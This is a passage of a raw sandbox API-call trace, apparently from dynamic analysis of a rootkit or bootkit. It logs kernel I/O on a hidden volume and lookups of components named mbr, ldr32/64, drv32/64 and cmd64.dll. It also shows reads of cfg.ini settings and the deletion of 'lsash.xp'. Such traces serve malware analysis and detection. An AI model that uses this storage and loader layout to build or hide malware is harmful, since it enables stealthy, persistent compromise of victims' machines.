[0130.528] KeEnterCriticalRegion () [0130.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.528] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.528] IdePortDispatch () returned 0x103 [0130.529] KeWaitForMutexObject () returned 0x0 [0130.529] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.529] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.529] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.529] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.529] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.529] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294da00 [0130.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.529] KeLeaveCriticalRegion () [0130.529] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.529] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.529] KeEnterCriticalRegion () [0130.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.529] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.529] KeLeaveCriticalRegion () [0130.529] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.529] KeEnterCriticalRegion () [0130.529] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.529] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.529] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.529] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.529] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.529] IdePortDispatch () returned 0x103 [0130.529] KeWaitForMutexObject () returned 0x0 [0130.529] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.529] KeLeaveCriticalRegion () [0130.529] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.529] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.529] KeEnterCriticalRegion () [0130.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.530] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d6d000 [0130.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.530] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.530] IdePortDispatch () returned 0x103 [0130.530] KeWaitForMutexObject () returned 0x0 [0130.530] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.530] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.530] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.530] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.530] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.530] IdePortDispatch () returned 0x103 [0130.530] KeWaitForMutexObject () returned 0x0 [0130.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.530] KeLeaveCriticalRegion () [0130.530] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.531] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.531] KeEnterCriticalRegion () [0130.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.531] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.531] KeLeaveCriticalRegion () [0130.531] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.531] KeEnterCriticalRegion () [0130.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.531] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.531] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.531] KeLeaveCriticalRegion () [0130.531] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.531] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.531] KeEnterCriticalRegion () [0130.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.531] ExFreePoolWithTag (P=0xfffffa800294da00, Tag=0x0) [0130.531] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.531] KeLeaveCriticalRegion () [0130.531] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.531] ReleaseMutex (hMutex=0xf0) returned 1 [0130.531] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.531] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0130.531] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.531] KeEnterCriticalRegion () [0130.531] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.531] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.531] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.531] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.531] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.531] IdePortDispatch () returned 0x103 [0130.531] KeWaitForMutexObject () returned 0x0 [0130.532] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.532] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.532] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.532] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.532] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.532] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c450 [0130.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.532] KeLeaveCriticalRegion () [0130.532] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.532] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.532] KeEnterCriticalRegion () [0130.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.532] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.532] KeLeaveCriticalRegion () [0130.532] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.532] KeEnterCriticalRegion () [0130.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.532] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.532] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.532] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.532] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.532] IdePortDispatch () returned 0x103 [0130.532] KeWaitForMutexObject () returned 0x0 [0130.532] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.532] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.532] KeLeaveCriticalRegion () [0130.532] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.532] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.532] KeEnterCriticalRegion () [0130.532] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.532] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d6e000 [0130.532] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.532] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.532] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.532] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.532] IdePortDispatch () returned 0x103 [0130.533] KeWaitForMutexObject () returned 0x0 [0130.533] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.533] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.533] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.533] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.533] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.533] IdePortDispatch () returned 0x103 [0130.533] KeWaitForMutexObject () returned 0x0 [0130.533] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.533] KeLeaveCriticalRegion () [0130.533] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.534] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.534] KeEnterCriticalRegion () [0130.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.534] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.534] KeLeaveCriticalRegion () [0130.534] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.534] KeEnterCriticalRegion () [0130.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.534] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.534] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8002845b10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.534] KeLeaveCriticalRegion () [0130.534] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.534] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.534] KeEnterCriticalRegion () [0130.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.534] ExFreePoolWithTag (P=0xfffffa800294c450, Tag=0x0) [0130.534] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.534] KeLeaveCriticalRegion () [0130.534] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.534] ReleaseMutex (hMutex=0xf0) returned 1 [0130.534] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.534] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.534] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.534] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.534] KeEnterCriticalRegion () [0130.534] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.534] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.534] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.534] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.534] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.534] IdePortDispatch () returned 0x103 [0130.534] KeWaitForMutexObject () returned 0x0 [0130.534] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.534] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.535] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.535] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.535] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.535] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.535] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.535] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.535] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.535] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.535] KeLeaveCriticalRegion () [0130.535] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.535] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.535] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.535] KeEnterCriticalRegion () [0130.535] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.535] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.535] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.535] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.535] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.535] IdePortDispatch () returned 0x103 [0130.535] KeWaitForMutexObject () returned 0x0 [0130.535] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.535] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.535] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.535] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.535] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.535] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.535] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.535] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.535] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.535] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.535] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.535] KeLeaveCriticalRegion () [0130.535] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.536] ReleaseMutex (hMutex=0x100) returned 1 [0130.536] Sleep (dwMilliseconds=0x2bf20) [0130.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70eb9d70, dwHighDateTime=0x1d24fa4)) [0130.541] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.541] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.547] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.547] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.547] KeEnterCriticalRegion () [0130.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.547] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.547] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.547] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.547] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.547] IdePortDispatch () returned 0x103 [0130.549] KeWaitForMutexObject () returned 0x0 [0130.549] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.549] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.549] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.549] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.549] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.549] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294ce10 [0130.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.549] KeLeaveCriticalRegion () [0130.549] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.549] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.549] KeEnterCriticalRegion () [0130.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.549] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.549] KeLeaveCriticalRegion () [0130.549] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.549] KeEnterCriticalRegion () [0130.549] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.549] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.549] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0130.549] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.549] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.549] IdePortDispatch () returned 0x103 [0130.549] KeWaitForMutexObject () returned 0x0 [0130.549] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.549] KeLeaveCriticalRegion () [0130.549] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.550] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.550] KeEnterCriticalRegion () [0130.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.550] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002def000 [0130.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.550] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0130.550] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.550] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.550] IdePortDispatch () returned 0x103 [0130.550] KeWaitForMutexObject () returned 0x0 [0130.550] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0130.550] IoAllocateMdl (in: 